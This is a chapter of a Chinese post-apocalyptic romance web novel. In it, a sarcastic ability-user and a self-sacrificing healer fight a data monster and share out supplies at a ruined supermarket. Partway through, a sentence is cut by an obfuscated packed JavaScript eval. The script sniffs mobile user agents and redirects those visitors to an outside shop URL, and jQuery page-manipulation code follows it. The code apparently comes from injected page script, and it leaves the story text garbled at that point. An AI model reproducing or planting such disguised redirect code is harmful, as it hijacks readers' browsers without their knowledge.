《(GB)末日相爱指南:关于我队友总想拯救世界这件事》 1. 当圣人遇见杠精 亲爱的用户,您好。如果您正在阅读这份指南,恭喜您,您已成功升级至“现实v2.0-崩坏版”。在您开始体验前,请花点时间熟悉一下新环境,这有助于……呃,或许并不能帮您活得更久,但至少能让你死得明明白白。 这一切,始于那场被后世(如果还有后世的话)称为 “数据风暴” 的温柔浩劫。没有蘑菇云,没有丧尸嚎叫,只有一个覆盖了全球的、无法关闭的系统弹窗:【“生命”v1.0版本更新即将完成,感谢您的耐心等待。】然后,整个世界就像一台中了病毒的老式电脑,开始了一场盛大的、不可逆的蓝屏。 物理定律成了参考性条款,随时可能被某个看不见的管理员修订。比如,您最好习惯重力偶尔会请个假,让您的早餐盘子优雅地飘向天花板;或者摩擦力可能会突然罢工,让您一个箭步滑出二里地,顺带用脸帮您清扫街道。这被称为 “现实规则扰动” ,是这个世界的新常态。 而这一切的“杰作”,归功于空气中那些肉眼可见的、如同彩色尘埃般漂浮的 “数据流” 。它们时而温和,能让一朵枯萎的花重新绽放;时而狂暴,能将一辆坦克在几秒内解构成最基本的几何图形,再随机重组成一座意义不明的金属雕塑。这些失控的数据最大的爱好,就是随机抓取现实世界的物件甚至生物,进行一场充满恶趣味的 “再编译” 。 您可能会遇见长着喇叭、整天播放过期新闻的流浪狗,或者一颗吃了之后能让您暂时看透紫外线的大白菜——当然,更可能直接编译出一些纯粹由恶意和乱码构成的 “数据幽灵” 。 它们形态各异,从像一团扭曲电视信号的【噪点徘徊者】,到能模拟您已故亲人声音的【悲鸣聚合体】,唯一的共同点就是:都不太友好。 那么,人类文明呢?呵,那个号称能扛住核爆的全球互联网,在第一波风暴来袭时就变成了人类历史上最壮观的信息坟场。政府?军队?在指挥系统变成一锅电子乱炖后,其组织度大概还不如一个运作良好的小区业主群。货币成了最精美的废纸,因为它们连“易燃”这个属性都被随机修改成了“易碎”。 但,生命总会找到出路,哪怕是在BUG里。 极少数人,在与数据流或数据幽灵的致命接触中,大脑非但没有被同化,反而奇迹般地与这些混乱的代码产生了 “共鸣” 。他们的大脑像一台超级编译器,强行从混沌中 “解读” 出了一段独属于自己的、能够扭曲局部现实规则的 “程序”——也就是异能。 请注意,这并非什么神启或魔法,更像是一场极其危险的系统漏洞利用。您是那个手握未知权限的测试员,而每一次使用,都可能引发未知的、且被认为是永久性的、不可逆的系统报错——我们称之为 “代价” 。 目前已知的代价千奇百怪,从失去一种味觉,到永远无法再做乘法运算。所以,每一位异能者都是行走在钢丝上的赌徒,用自己的某一部分,去交换撼动世界的力量。 旧日的辉煌已沉入数据的海底,幸存者们依靠着废墟中刨出的罐头和偶尔能正常工作的净水器,在夹缝中建立了一个个朝不保夕的微型社群。 信息的流通退回到了口耳相传和实体布告的时代,最硬的通货变成了未受污染的净水、功能正常的电池,以及……运气。 而我们的故事,就从这样一个充斥着绝望、机遇与黑色幽默的地点——“好运来”超市的门前,正式开始。据路边社(即某个在酒瓶底刻字的流浪汉)不可靠消息,这座超市的某个角落,藏着一个能启动小型 “静态信标” 的装置。 激活它,能在范围内形成一个持续数小时的低数据扰动安全区,对于在废墟中挣扎求生的人来说,这不亚于在枪林弹雨中找到了一个不限时的无敌掩体。 足以让任何一个幸运(或不幸)的拥有者,在这该死的末日里,获得一个短暂、却无比珍贵的……中场休息时间,以及,足以点燃所有贪婪与冲突的、最耀眼的靶心。 “好运来”超市这名字,在旧时代大概寄托着老板对财源广进的朴素愿望,而现在,它更像一句贴在棺材板上的祝福语,充满了冥币风格的幽默感。 超市外墙被侵蚀得像是被巨兽用蛀牙啃过,裸露的钢筋像扭曲的神经末梢一样抽搐着,偶尔迸溅出几串无意义的蓝色数据火花。那扇著名的旋转门,如今只剩下一个歪斜的金属框架,卡在半途,活像一个被掐住脖子、笑容凝固的小丑。 而此刻,这片废墟门前空地上正在上演的,绝非什么温馨的幸存者互助会,而是一场由一位年轻男人主导的、充满行为艺术气息的“拍卖会”。 我们的拍卖师,陆昭妄先生,正悠闲地坐在一堆印着【压缩饼干-葱香风味】(但愿里面的内容物没变异成“数据蠕虫风味”)的纸箱上,姿态慵懒得像是躺在马尔代夫的沙滩椅上。只不过他手里把玩的不是鸡尾酒,而是一个不知从哪个倒霉机器人身上拆下来的光学镜头。 “竞品们”——哦不,是“参与者们”——形态各异。一位肌肉壮汉正涨红了脸,跟他那把被拧成天津麻花状的砍刀较劲,刀刃上还贴心地浮现出一行小字:【结构完整性:7%。建议:作为现代艺术藏品。】 另一位以敏捷著称的瘦小男子,则在一跳一跳地试图解开自己鞋带上那个由数据流打成的、充满拓扑学美感的死结,活像一只被拴住了腿的蚂蚱。 “我说各位,”陆昭妄开口了,声音带着一种刚睡醒似的懒洋洋的磁性,仿佛在讨论今晚的星座运势而非一场决定物资归属的争夺,“用户体验反馈时间到了。选项A:留下身上最有意思的小玩意儿当门票——比如你那个会报时的假肢,或者你私藏的最后一块巧克力——然后圆润地离开。选项B:让我免费帮你们‘优化’一下身体结构,提前体验一把当后现代主义艺术品的感受。支持分期付款,用你们的惨叫来支付。” 他头也没回,只是随意地抬了抬手指。旁边一个自以为身手矫健、正试图从阴影中突袭的家伙,手里那根锈迹斑斑的铁管突然变得像煮熟的面条一样柔软,啪嗒一声垂落在地,顶端还诡异地打了个蝴蝶结。 陆昭妄终于舍得瞥过去一眼,挑眉道:“看,这就是不遵守拍卖礼仪的下场。本场拍卖,最终解释权归我,且不支持物理出价。” 空气中弥漫着屈辱、愤怒和一丝绝望的沉默。陆昭妄似乎很享受这种用他人的无能狂怒佐餐的感觉。 就在他以为这场无聊的独裁游戏将以他的全面胜利告终时,一个平静温和,却像冰锥般清晰刺破这沉闷气氛的声音插了进来。 “这里的信标,启动后可以为半径五十米内的所有人提供十二小时的安全时间。足以让大家休整,处理伤口。” 众人循声望去,只见一个身影从半堵印着“天天低价”促销标语的断墙后走出。 沈悬衡的脸色是一种不见日光的苍白,仿佛长期营养不良,但那双眼睛却清澈得像末日里唯一没被污染的雪山湖泊。她看起来战斗力约等于一只吉祥物,风稍大点就能把她吹跑,偏偏站姿却像插进地里的一根标枪,稳得不可思议。 她刚刚放下一个腿部被数据流擦伤、正滋滋冒着乱码火花的竞争者,对方惊疑不定地看了她一眼,捂着那条暂时恢复知觉的腿,踉跄着钻进了旁边的废墟。 她直接看向高踞于纸箱王座之上的陆昭妄,无视了周围那些被“优化”过的倒霉蛋和凝重的气氛,给出了她的方案:“至于物资,按实际需求分配。无意义的争吵和独占,只会加速我们所有人的灭亡。” 现场一片死寂,只剩下风吹过破洞发出的、如同冤魂呜咽般的声响,以及某个角落定时传来的、断断续续的电子广告音:“……周年庆……跳楼价……” 陆昭妄脸上那副“全世界都是傻瓜”的无聊表情瞬间冰雪消融,被一种发现新大陆般的、浓厚到近乎危险的兴趣所取代。他像鉴赏一件稀世古董一样,上下打量着沈悬衡,嘴角勾起一个玩味的、几乎算得上愉悦的弧度。 “哇哦,”他发出一声夸张的、带着气泡音般的赞叹,“一位活着的、会说话的、并且坚持在末日废墟里搞民生工程和共产主义分配的圣人!失敬失敬,是在下眼拙,差点错过了瞻仰人类最后道德标杆的机会。” 他话锋一转,语气里的毒液和调侃几乎要凝成实质,滴落在地腐蚀出几个小坑。“按需分配?多么崇高而遥远的理想,我脆弱的心灵差点就被这圣光净化了。那么请问,尊敬的圣人小姐,您打算用什么来界定每个人那独一无二的‘需求’?是用您那纯洁无瑕的心灵天平,还是搞一场全民公投?”他摊了摊手,表情无辜又欠揍,“又打算用什么来强制执行这个……呃,美妙的构想?用爱发电吗?还是靠您刚才那种‘摸一下就好’的神秘主义疗法?我猜,总不会是靠感化吧?” 沈悬衡没有被他连珠炮似的嘲讽激怒,甚至连睫毛都没颤动一下。她只是再次平静地抬起右手。那纤细的、看似毫无力量的手指间,一缕翠绿色的、如同拥有生命的藤蔓般的数据流开始凭空浮现,缠绕着她的指尖旋转、闪烁,散发出一种温和却不容置疑的、仿佛能直接作用于规则层面的力量波动。 “我的异能,叫【私心天平】。” 她目光沉静,像两潭深水,直直地望向陆昭妄那充满戏谑的双眼,语气依旧平淡,却带着一种奇特的、如同判决般的重量。 “我可以,在我和你之间,建立一种双向的连接。” “规则很简单。从此刻起,在你主动断开连接之前,你每试图攻击一个人——无论用你的能力,还是拳头,甚至只是充满恶意的推搡——你所承受的那份‘攻击意图’本身,就会有大约十分之一,由你自己来切身体会。” 她甚至微微偏了偏头,用一种探讨学术问题般的认真语气,问出了一个让陆昭妄脸上笑容瞬间微不可查僵硬了一下的问题: “你想现在就先尝尝,自己全力以赴的拳头,砸在自己鼻梁骨上的滋味吗?” 空气中那根无形的弦,因为沈悬衡这近乎宣战布告的能力说明,骤然绷紧到了极致。陆昭妄脸上那玩世不恭的笑容像是被冻住了一秒,随即,一种更为炽烈、几乎算得上是狂喜的光芒从他眼底迸发出来。 “哈!”他短促地笑了一声,不是愤怒,而是像数学家遇到了绝妙的难题,收藏家找到了稀世的珍宝,“【私心天平】?把‘以眼还眼’直接写进世界底层代码?厉害!真他妈的厉害!沈小姐,你绝对是我见过最疯狂的慈善家,没有之一!” 他嘴上说着佩服,行动却完全是另一回事。这家伙骨子里就是个赌徒,还是个坚信自己永远不会输的赌徒。 他不信邪,或者说,他太相信自己的“逻辑”能压倒一切。意念微动,他试图再次发动能力,目标不是沈悬衡,而是她脚边的一块碎石——他只是想扭曲那块石头的位置,一个最轻微的、几乎不携带“攻击意图”的试探。 然而,就在他能力将发未发的瞬间,一股莫名的心悸感猛地攥住了他的心脏,仿佛有一股无形的力量从沈悬衡指尖那缕绿光延伸而出,直接搭在了他的神经上。 一种清晰的、不容置疑的“反馈”预兆袭来——如果他执意完成这个动作,那么某种轻微的“不适”将会精准地作用在他自己身上。 陆昭妄瞬间散去了能力,眼中的光芒更盛。不是恐惧,是极致的兴奋。“……规则级判定?连‘意图’都能捕捉?这BUG卡得真是清新脱俗!” 就在这时—— “吼——!” 一声完全不似生物能发出的、混合着电子杂音与金属摩擦般的咆哮,猛地从超市黑洞洞的入口处炸开!强烈的数据乱流像冲击波一样席卷而出,吹得地上的碎石乱滚。 紧接着,一个庞大的、不断扭曲变形的身影挤破了超市入口残存的框架,显现在众人面前。 它大致呈人形,但全身都是由闪烁的、不断崩溃又重组的像素块和数据碎片构成,仿佛一个信号极差的电视画面成了精。它的头部位置没有五官,只有一片不断滚动乱码的漩涡,偶尔会定格成一张张扭曲、痛苦的人脸,又瞬间溃散。它的一只手臂是某种锈蚀金属管道的形状,另一只则纯粹是凝聚的暗红色错误代码,滴落在地面上会发出“滋滋”的腐蚀声。 【数据吞噬者 - 等级:高危 - 特性:信息腐蚀、结构崩解】 不需要任何介绍,所有幸存者,包括陆昭妄和沈悬衡,都在第一时间“感知”到了这个怪物的基本信息——这是数据风暴带来的副作用之一,某些特别强大的存在会自带“标签”。 “操!”一个刚才还在跟麻花砍刀较劲的壮汉脸色煞白,转身就想跑。 “拍卖会提前结束!”陆昭妄反应极快,他猛地从纸箱上跳下来,脸上那副嬉笑表情瞬间被一种锐利的专注取代,语速快得像开枪,“圣人小姐!看来你的‘按需分配’得先解决掉这个最大的‘需求’——活下去!” 他双眼死死锁定那不断变形的数据吞噬者,瞳孔中似乎有无数无形的公式在飞速流转。“我能找到它核心数据流的逻辑悖论点,最多三秒,就能让它自个儿当机!但前提是——”他猛地看向沈悬衡,眼神灼灼,“这三秒里,它不能干扰我,更不能一巴掌把我拍成二次元贴纸!你这‘天平’,能扛住吗?” 这是赤裸裸的阳谋。他把最危险的任务,用最直接的方式,甩给了刚刚还被他嘲讽的“圣人”。 沈悬衡的回答同样没有丝毫犹豫。她上前一步,直接挡在了陆昭妄与数据吞噬者之间,那清瘦的背影此刻显得异常决绝。她右手虚抬,更多的翠绿数据流从她体内涌出,在她前方交织成一片朦胧的、如同天平虚影般的光幕。 “可以。”她的声音依旧平静,却带着一种不容置疑的力量,“但之后,信标和物资的分配权,归我。你,不得异议。” “成交!”陆昭妄咧嘴一笑,露出一口白牙,在这混乱的背景下竟有几分癫狂的帅气,“你可别死了,我的专属‘防火墙’!” 战斗在瞬间爆发! 数据吞噬者那由错误代码构成的手臂猛地挥出,一道暗红色的、带着强烈腐蚀性的数据洪流如同匹练般射向沈悬衡。她不闪不避,右手的天平光幕光芒大盛! 【私心天平·伤害转移】! 暗红洪流在接触光幕的瞬间,其蕴含的“破坏”与“腐蚀”概念,被天平衡量、拆解。大部分威力被她硬生生承受下来,只见她周身绿色的数据流剧烈波动,脸色瞬间又苍白了几分,但她一步未退!而一小部分被转移的“伤害意图”,则化作无形的反馈,直接作用在数据吞噬者自身的数据结构上,让它发出一声更加狂躁的、夹杂着乱码的咆哮,攻击的动作也出现了一丝微不足道的凝滞。 “一秒!”陆昭妄在她身后低吼,他的额角渗出细密的汗珠,眼中光芒闪烁到了极致,正在疯狂计算着那稍纵即逝的逻辑漏洞。 数据吞噬者被激怒了,它放弃了远程攻击,庞大的身躯猛地前冲,那只锈蚀金属管道构成的手臂带着千钧之力,狠狠砸向沈悬衡!这一次,是纯粹的物理冲击! 沈悬衡眼神一凛,双手同时抬起,天平光幕变得更加凝实! 【私心天平·动能分担】! “轰!” 闷响声中,沈悬衡身体剧烈一震,喉头涌上一股腥甜,被她强行咽下。她脚下的地面寸寸龟裂。而数据吞噬者砸下的那只手臂,也诡异地反向弹起,动作变得有些僵硬不协调,仿佛那一拳有一部分力量打回了它自己身上。 “两秒!”陆昭妄的声音带着一丝颤抖,不是害怕,是极致的专注。 就在这时,数据吞噬者头部的乱码漩涡骤然收缩,凝聚成一个极其不稳定的能量核心——它要释放大范围的无差别信息腐蚀冲击! 沈悬衡瞳孔骤缩,这一下,她不确定自己还能不能完全扛住! “就是现在!它核心逻辑完全暴露了!”陆昭妄猛地大吼,“扛住最后一下!” 沈悬衡没有回答,而是用行动回应。她将所有的翠绿数据流收回,在身前凝聚成一面几乎化为实质的、精致小巧的天平盾牌,然后——主动迎向了那即将爆发的能量核心! “三秒!给老子——宕机!” 陆昭妄眼中精光爆射,伸出食指,对着那能量核心的方向,轻轻一“点”。 【逻辑重构·悖论注入】! 没有惊天动地的爆炸,只有一声如同老式电视机断电时发出的、短促的“啵”声。数据吞噬者头部的能量核心猛地一滞,内部闪烁的数据流陷入了疯狂的自我矛盾与逻辑死循环,原本狂暴的能量瞬间坍缩、内耗。 它那庞大的、不断扭曲的身体像是被抽掉了主心骨,动作瞬间僵住,构成身体的像素块和数据碎片如同雪崩般开始瓦解、消散,只留下一地缓缓熄灭的、无害的零星光点。 超市门前,陷入了短暂的死寂。 只剩下沈悬衡微微急促的喘息声,以及陆昭妄因为精神高度集中后放松而略显粗重的呼吸。 信标争夺战,以一种谁也没预料到的方式,落下了帷幕。塑料同盟,初战告捷。 数据吞噬者瓦解后散落的数据光点,像一场廉价的电子葬礼彩带,缓缓飘落在死寂的超市门前。空气中弥漫着一种混合了臭氧、尘土和某种非有机物烧焦的奇特气味。 陆昭妄长长地呼出一口气,抬手抹了一把额角并不存在的冷汗——主要是为了表现一种劫后余生的仪式感。他转向依旧站在原地,脸色比刚才更加苍白几分的沈悬衡,那双总是带着讥诮的眼睛里,此刻闪烁着毫不掩饰的、如同发现新玩具般的光芒。 “我说,‘防火墙’小姐,”他踱步过去,语气恢复了那种懒洋洋的调子,但仔细听,能品出一丝不易察觉的郑重,“你这‘天平’业务范围挺广啊?连这种级别的‘垃圾邮件’都能过滤掉大半。合作体验……啧,勉强给个五星好评吧。” 沈悬衡没有立刻回应,她微微闭眼,似乎在平复体内翻涌的气血和那些被强行接纳、转化的破坏性能量。几秒后,她才睁开眼,看向陆昭妄,眼神依旧清澈平静,仿佛刚才那个硬抗高危怪物的人不是她。 “信标。”她只说了两个字,提醒他之前的约定。 “对对对,信标,人类的希望,末世的光。”陆昭妄从善如流,做了一个“请”的手势,动作浮夸,“您请,您来。我这人最讲信用了,说好分配权归你,绝不反悔。当然,主要是怕你那个‘自己打自己’的被动技能。” 他嘴上说着怕,行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647158|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动上却亦步亦趋地跟在沈悬衡身后,一起再次踏入“好运来”超市的内部。超市里面比外面看起来更糟,货架东倒西歪,大部分商品要么腐烂,要么被某种力量异化成了奇形怪状的样子——一包薯片可能膨胀得像轮胎,一瓶饮料可能在里面养出了一窝发光的微生物。 两人无视了这些末日奇观,径直朝着超市最深处,那个散发着微弱能量波动的区域走去。在一个原本是家电区,现在堆满了破碎电视机和冰箱残骸的角落,他们找到了目标——一个半嵌入地面、造型简洁、表面流淌着微弱蓝色电弧的金属柱体,大概只有半人高。这就是【静态信标】。 “看起来像是上个文明时代留下的公共设施,”陆昭妄摸着下巴点评,职业病似的开始分析,“启动逻辑大概是……身份验证?能量注入?还是简单的物理开关?”他左右看了看,从旁边一个报废的收银台上掰下一根金属杆,试探性地朝信标戳去。 “别动。”沈悬衡出声制止。 几乎在她话音落下的同时,那根金属杆在距离信标表面还有十几公分的时候,前端突然开始快速锈蚀、分解,化作一撮金属粉末簌簌落下。 “哦豁,”陆昭妄扔掉只剩下半截的杆子,拍了拍手,“还挺认生。” 沈悬衡没有理会他的小动作。她走上前,没有使用任何工具,只是伸出右手,轻轻按在了冰冷的金属柱体表面。她闭上双眼,周身再次浮现出那柔和的翠绿色数据流,但这次不再是防御或攻击,而是如同涓涓细流,尝试着与信标内部那沉寂的、混乱的底层代码进行沟通、安抚、乃至……“说服”。 陆昭妄抱着手臂在一旁看着,眼神里充满了研究者的好奇。他看得出来,沈悬衡的方法并非暴力破解,更像是一种高维度的“权限请求”或者“系统修复”。这个过程持续了将近一分钟,沈悬衡的额头渗出了细密的汗珠,显然并不轻松。 终于,那金属柱体表面的蓝色电弧稳定下来,不再乱窜,而是如同呼吸般有节奏地明灭起来。紧接着,一道淡蓝色的、半球形的光膜以信标为中心,无声无息地迅速扩张,轻易地穿过了墙壁和障碍物,直至将整个超市及其门前一小片区域笼罩在内。 光膜形成的瞬间,区域内所有人都产生了一种奇妙的“剥离感”。仿佛一直萦绕在耳边、若有若无的电子噪音和数据干扰消失了,空气变得“干净”了许多,连呼吸都顺畅了。这是一种久违的、令人想落泪的“正常”。 门外那些原本躲藏着的、以及刚才被陆昭妄“优化”过的幸存者们,感受到这种变化,先是惊疑不定,随后脸上纷纷露出了狂喜和难以置信的神色。他们小心翼翼地触碰着那层看似薄弱的光膜,确认没有危险后,才贪婪地呼吸着这片安全区内的“纯净”空气。 陆昭妄也微微挑眉,仔细感受了一下:“啧,效果不错。堪比大型空气净化器外加全频段信号屏蔽仪,就是不知道耗电量怎么样。” 沈悬衡收回手,身体几不可查地晃动了一下,但迅速稳住。她转过身,目光扫过门外那些逐渐汇聚过来的、带着期盼和畏惧眼神的幸存者,最后落在陆昭妄身上。 “按照约定,”她的声音带着一丝疲惫,但依旧清晰,“我会组织他们,公平分配这里尚可使用的物资。” “没问题,您是总指挥。”陆昭妄耸耸肩,显得很好说话。但他随即凑近了一步,压低了声音,脸上带着那种“我发现了你小秘密”的狡黠笑容,“不过,在您开始伟大的分配事业之前,能不能满足一下合作伙伴微不足道的好奇心?” 他指了指她,又指了指自己:“你那‘天平’,刚才建立连接的时候,除了‘攻击反馈’,是不是还顺手称了点儿别的什么东西?比如……我的‘价值’?或者说,你之所以这么痛快地答应合作,是不是在你那架天平上,我这‘混乱变量’的重量,意外地……还挺够份量?” 沈悬衡迎上他探究的目光,既没有承认,也没有否认。她那苍白的脸上,甚至浮现出一丝极淡、几乎看不出来的,类似于“你猜?”的表情。 她只是绕过他,走向那些等待着的幸存者,开始履行她“圣人”的职责。 陆昭妄看着她清瘦却挺直的背影,摸了摸下巴,低声自语,声音里带着浓浓的兴趣和一丝他自己都未察觉的兴奋:“【私心天平】……哈,果然有意思。这末世,总算不那么无聊了。” 他低头,从口袋里摸出那块包装完好的巧克力,在指尖灵活地把玩着,像是在掂量着什么。 安全区内的空气仿佛都带着一种劫后余生的甜味,当然,更可能是某种过期香水被打翻后混合着尘土的味道。幸存者们起初还带着些许惶恐和拘谨,但在确认那淡蓝色的光膜确实□□,并且沈悬衡真的开始有条不紊地组织分发那些未被污染的瓶装水、压缩饼干和少数几罐幸运逃脱变异的肉类罐头时,一种压抑已久的、近乎狂欢的气氛开始弥漫开来。 陆昭妄抄着口袋,倚在一排歪斜的货架旁,饶有兴致地看着沈悬衡忙碌。她做事极有耐心,会先询问对方是否有伤病或特殊需求,再将物资递过去,遇到争抢的苗头,只需一个平静的眼神扫过去,再辅以指尖若隐若现的绿色数据流,便能将那点骚动无声无息地压下去。效率不算高,但秩序井然。 “啧,还真像那么回事。”他低声嘀咕,嘴角噙着一丝看不出是赞许还是觉得好玩的笑容。 一个瘦小的、脸上还带着污迹的小女孩,怯生生地接过沈悬衡递给她的半瓶水和一小包饼干,却没有立刻离开,而是仰着头,小声问:“姐姐……你是神仙派来救我们的吗?” 沈悬衡愣了一下,随即蹲下身,平视着小女孩,苍白的脸上露出一个极其温和的、几乎算得上是柔软的笑容。她轻轻摇了摇头,声音放得更缓:“不是。我只是……比较擅长分担一些不好的东西。” 站在不远处的陆昭妄清晰地听到了这句话,眉梢微不可查地动了一下。 就在这时,一个不和谐的声音插了进来,带着劫后余生的虚张声势和几分试探:“喂!那边那个!对,就是你,那个很能打的!”一个刚才也在超市外、此刻分到了一罐午餐肉的男人,冲着陆昭妄喊道,“这安全区能撑多久?外面那鬼东西不会再来了吧?你那么厉害,要不……带我们去找个更安全的地方?比如……那个什么‘伊甸园’?” “伊甸园”三个字像是有魔力,让周围不少幸存者都竖起了耳朵,目光灼灼地看向陆昭妄。 陆昭妄连眼皮都懒得抬,语气懒散得像在打发苍蝇:“‘伊甸园’?听着就跟传销窝点似的。不去。”他顿了顿,像是忽然想起什么,补充道,“哦,对了,现在这里的总指挥是那位‘分担不好的东西’的姐姐,有事找她预约,我退休了。” 那男人被噎了一下,脸上有些挂不住,但碍于陆昭妄之前展现的手段,不敢发作,只能悻悻地嘟囔:“有什么了不起……” 沈悬衡处理完手上的分配,站起身,目光掠过那个男人,最终落在陆昭妄身上。她没说什么,只是走到他面前,伸出手——手心里躺着一块看起来包装还算完好的高热量能量棒。 “给你的。”她的语气依旧没什么起伏,“你消耗很大。” 陆昭妄有些意外地挑眉,没接,反而从自己口袋里摸出那块完好无损的巧克力,在指尖转了转,脸上又挂起那种欠揍的、仿佛洞悉一切的笑容:“哟,圣人小姐这是……在关心你的临时工具人?还是说,在你那架‘天平’上,我的‘消耗’和‘价值’已经重到需要你额外投喂了?” 沈悬衡伸出的手没有收回,只是平静地看着他,那眼神仿佛在说“你爱要不要”。 陆昭妄与她对视了两秒,忽然嗤笑一声,伸手接过了那块其貌不扬的能量棒,同时,却把自己那块巧克力,不由分说地塞进了沈悬衡还没来得及收回的手里。 “喏,”他的动作带着点不容拒绝的随意,声音却压低了些,只有他们两人能听清,“演出费。提前预付下次的。” 他的指尖不经意间擦过她的掌心,带着一丝战斗后尚未完全平息的微热。 沈悬衡握着那块带着他体温的巧克力,微微一怔。 陆昭妄已经退后一步,恢复了那副玩世不恭的模样,他晃了晃手里那块能量棒,像是举杯致意:“味道估计不怎么样,但谢了,‘防火墙’小姐。” 他转过身,背对着她挥了挥手,朝着超市另一个相对安静的角落走去,那里堆着一些废弃的家具,看起来像个临时休憩点。 “下次合作,”他懒洋洋的声音飘过来,带着一丝不易察觉的、近乎承诺的意味,“记得提前预约。” 沈悬衡站在原地,低头看着掌心那块包装精致、与周围环境格格不入的巧克力,指尖微微蜷缩了一下。她没有说话,也没有立刻去分配剩下的物资,只是站在那里,像一尊突然被按下了暂停键的雕塑。 淡蓝色的光膜之外,数据风暴依旧无声地侵蚀着破败的城市,光膜之内,幸存者们获得了短暂的喘息,咀嚼食物的声音、压抑的啜泣声、低声的交谈混杂在一起,构成末日里最真实的背景音。 而在这片混乱的生机之中,一场始于互相算计、暂时落脚于一块巧克力的塑料同盟,似乎正朝着某个谁也预料不到的方向,悄然滑去。 2. 第一次不收费 首先,忘掉你关于“正常世界”的一切记忆——这不是建议,是生存指南。因为在数据风暴温柔地抚摸过这个星球后,所谓的“正常”已经和你的手机信号一样,死得透透的了。 让我们把时间倒回三个月前,灾难发生的第一个小时。准确地说,是数据风暴降临后的第三十七分钟。 陆昭妄当时正蹲在一台彻底罢工的智能售货机前,手里的消防斧已经劈开了强化玻璃的边缘。他的眼神不像是在破坏公物,更像是一位严谨的工程师在排查故障。“权限错误?支付失败?”他一边撬一边对着售货机碎碎念,语气带着一种就事论事的分析,“我看你是程序逻辑的底层架构出了点小问题,需要一次彻底的物理层面重启与权限绕过。” “咔嚓”一声,玻璃终于屈服。他满意地掏出一包印着【葱香风味】的压缩饼干和几块巧克力,顺手塞进身旁一个不知道从哪个工位顺来的双肩电脑包里。就在这时,整个大楼猛地一震,灯光像抽搐般明灭不定,头顶传来令人牙酸的金属扭曲声。 “啧,”他看了一眼簌簌落灰的天花板,动作利落地又捞出一瓶功能饮料塞进包里,“这栋楼的物业维修效率,真是越来越抽象了。” 与此同时,在同一楼层的另一端,沈悬衡正用力将一张沉重的实木办公椅抵住砰砰作响的安全门,试图阻止外面恐慌人群的冲击。她的一个同事瘫坐在旁边,手臂被飞溅的、如同活物般的紫色数据流灼伤,皮肤下仿佛有无数细小的代码在蠕动、增殖。 “坚持住,”她撕开刚从抽屉里找到的急救包,声音却异常稳定,尽管自己的指尖因为用力而微微颤抖,“只是看起来吓人而已,会好的。”她撕开纱布,小心翼翼地避开那些闪烁的数据斑点进行包扎,动作轻柔得像是在修复一件珍贵的瓷器。 显然,这场突如其来的“全市范围物业维修”,其规模和暴力程度,远远超出了任何人的保修范围。 当第一个真正的“系统BUG”破门而入时,就连陆昭妄也暂时停止了搜刮,所有人都愣住了。那玩意儿大概曾经是某个倒霉蛋加班到凌晨三点的怨念集合体,现在则是一团由无数“#REF!”错误、未保存的PPT残片和闪烁的死亡Excel表格组成的【办公怨灵】。它没有眼睛,但所有人都能感受到它“注视”带来的、如同被鼠标光标锁定的寒意——一种即将被“永久删除且无法从回收站恢复”的彻骨寒意。 “我靠……”陆昭妄下意识地后退了半步,掂量了一下手里的消防斧,直觉告诉他,这玩意儿对眼前这团抽象派杰作恐怕没什么威胁。 那怨灵发出一阵如同硬盘损坏般的刺耳嘶鸣,“飘”向离它最近的那个受伤的同事。沈悬衡几乎是想都没想,就侧身扑了过去,试图将同事拉开。就在那扭曲的、由乱码构成的数据流即将触碰到她肩膀的瞬间,时间仿佛凝滞了一刹—— 她右手手背传来一阵灼热,一个精致而复杂、仿佛由纯粹光线勾勒出的天平虚影一闪而过。 没有巨响,没有光爆。 那【办公怨灵】的一部分“删除”指令,被她以一种不讲道理的方式,硬生生转移到了旁边一台无辜的、印着“节能环保”标签的激光打印机上。打印机连哀鸣都没发出,瞬间塌陷、锈蚀,变成了一堆冒着细微电火花的废铁,空气里弥漫开一股电路板烧焦的独特气味。 而沈悬衡自己,则像是被瞬间抽干了力气,猛地单膝跪地,一阵天旋地转的眩晕感袭来,喉咙里涌上强烈的恶心感。她感觉自己的一部分生命力,似乎随着那次匪夷所思的转移,被一起“支付”了出去。 “你刚才那是什么?数据转移?”陆昭妄的声音从斜后方传来,带着毫不掩饰的惊讶与探究。他没时间细究,因为那怨灵似乎被这挑衅行为彻底激怒了,更多的、如同章鱼触手般的乱码向着他们席卷而来,瞬间就封堵了他所有看似可行的退路。 死亡的气息,带着一股臭氧和过热CPU的混合味道,扑面而来 陆昭妄瞳孔紧缩,那团由办公怨念和错误代码构成的怪物几乎填满了他的视野,死亡的寒意顺着脊椎爬升。退路被封死,手里的消防斧像个愚蠢的笑话。跑?往哪儿跑?这玩意儿看起来就不像遵循空气动力学的样子。 “妈的,这不合理……”他低声咒骂,大脑却在极限的恐惧压迫下开始疯狂运转,摒弃了一切无用的情绪。视野里的一切都开始变化,不再是具体的物体,而是化作了流动的线条、闪烁的能量节点和错综复杂的结构逻辑。墙壁的承重路径、天花板的应力分布、电缆中残存电流的微弱流向……整个世界在他眼中变成了一张清晰又混乱的拓扑图。 他的目光像探针一样扫过狂乱的怨灵,试图解析这团乱码的行为模式,寻找那个可能存在的、微不足道的“漏洞”。视线最终死死锁定在支撑着这片区域的一根主要承重柱上——柱体内部,一个因之前震动和数据冲刷早已变得不稳定的应力点,正散发着只有他才能“看”到的、代表极度脆弱的红色微光。 就是那里! 他不知道该怎么形容这个过程,就像他不知道该怎么呼吸一样,只是遵循着求生的本能,将全部的意念集中,朝着那个应力点的“存在逻辑”,用尽全身力气,狠狠地“推”了一把—— 【逻辑重构】! 没有光芒四射,没有咒语吟唱。只有一声沉闷的、令人牙酸的“嘎吱——”声从混凝土深处传来。 紧接着,在所有人惊骇的目光中,那块天花板连同上面的灯具、通风管道,仿佛被一只无形巨手精准地掰断,轰然坍塌!大量的建筑材料、石膏板碎片和扭曲的金属如同瀑布般倾泻而下,不偏不倚,正好砸在【办公怨灵】与陆昭妄之间,扬起漫天烟尘,瞬间将那只怪物隔断、掩埋。 